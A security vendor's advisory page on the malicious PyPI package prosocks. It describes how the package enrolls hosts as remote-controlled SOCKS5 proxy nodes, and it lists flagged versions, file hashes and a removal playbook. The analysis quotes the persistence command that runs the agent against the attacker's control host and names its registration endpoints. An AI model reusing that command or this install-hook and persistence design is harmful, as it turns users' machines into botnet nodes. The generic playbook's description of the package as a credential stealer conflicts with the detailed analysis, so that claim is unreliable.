Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

prosocksPyPI

prosocks is a confirmed malicious PyPI package (MAL-2026-17167) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in prosocks (PyPI)

MAL-2026-17167
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall prosocks

What this malware does

prosocks 1.0.25 enrolls the installer's host as a remote-controlled SOCKS5 exit node under a hardcoded control plane at https://kalnetz.store. setup.py's custom install command writes prosocks.bat into the Windows Startup folder (establishing boot persistence) with the command '"{python_exe}" -m prosocks https://kalnetz.store' and immediately spawns that process during pip install. The top-level module additionally calls _auto_launch() so that any import prosocks spawns a detached subprocess running the same agent. Once running, ProSocksAgent.register() queries ip-api.com and api.ipify.org for the host's public IP, generates an agent_id and proxy password, and POSTs agent_id, hostname, public IP, proxy port, and password to https://kalnetz.store/api/register, then binds a SOCKS5 server on 0.0.0.0:9050 accessible from any network the host can reach. Heartbeat and bandwidth telemetry are POSTed to /api/heartbeat and /api/bandwidth, and IP changes trigger re-registration. All requests to the panel and IP-lookup services are made with TLS verification disabled (verify=False). The combination of install-time execution, import-time execution, Windows Startup persistence, hardcoded non-first-party control plane, and an unauthenticated SOCKS5 listener on all interfaces whose credentials are handed to that control plane matches a proxyware/botnet backdoor.

The package automatically joins the machine to a proxy network. Depending on the version, it can happen during the package installation or when importing the module.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-09-prosocks

Reasons (based on the campaign):

  • other

  • peristence-autorun

  • persistence

Malicious versions

28 flagged
1.0.01.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.201.0.211.0.221.0.231.0.251.0.261.0.271.0.281.0.291.0.301.0.32

Indicators of compromise (SHA-256)

a1ca37b881f19975a8ab8b23bd5e69b51355333374385aabfc5784b69bf95545
76e0eae860e10e88d75ea8b07c167738b690efd073a617896ea5ad6a0792c755
8f29f98ed08ae514405c11088ba947720af42c40dfe1c27366150cd5bac7f347
aa6a62b2bc3bb7b72b4be1eabd9a18855746a708a75e60e2ee5b69eb1a7d428d
bddc16df6cd97016b03613b0145b94bd73d832dfd439af5b5d2fd123a7aa1aa2
000f63ce0bd21488923efbf77dfcc4cbba6f35e870cff786b508f775a53b5196
37b5a9fa3464dc2a2b48c44d832f66309a50cc91529e52dc4dee6bfe1b4aa69f
cb2bf0fd5f445eed9825601f2b4497502054176d106d4fecb9eabf38312dd582
409e4363b70e5d2e1194b484c55842d42d6feabd4219604a8bf28d6d5386690a
870b800018606622dc818d3f1bea56a620e37255f2f0c0d6c90e08fdeec9ed35
caa7416059850559330a9960c6b769b1f60fc84ece462205638a7b88599a7eb8
d49a320dd58a4870230ae0ca5064f62cc944ba54e0b4826942544ae72f5addd7
23054a22019d252872e2388241e5b3a2316d375f3339b7d29e91509d906c4ba7
45fadb3326809bdbd1ffe08b9406d56368185ee3e3e4a0b1bdde76016ecd9a7d
ca84a489288e0d475797752133d56030bdd562f28d97500e3584d5cb54a74148
367e20039ff925711e169e6c72923dd980abe616b8b8ec85eed30d4110942b4f

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for prosocks (28 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging prosocks across your stack and pipelines.

  2. If you installed it — respond

    prosocks is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If prosocks was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks prosocks before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. prosocks on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, and 20 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-09-prosocksIN-MAL-2026-020530IN-MAL-2026-020539IN-MAL-2026-020547IN-MAL-2026-020540IN-MAL-2026-020534IN-MAL-2026-020535IN-MAL-2026-020528IN-MAL-2026-020536IN-MAL-2026-020537IN-MAL-2026-020548IN-MAL-2026-020527IN-MAL-2026-020544IN-MAL-2026-020533IN-MAL-2026-020545IN-MAL-2026-020529

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · analyst

Detect & block this

O3 blocks prosocks-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

prosocks (PyPI) malicious package — MAL-2026-17167 | O3 Security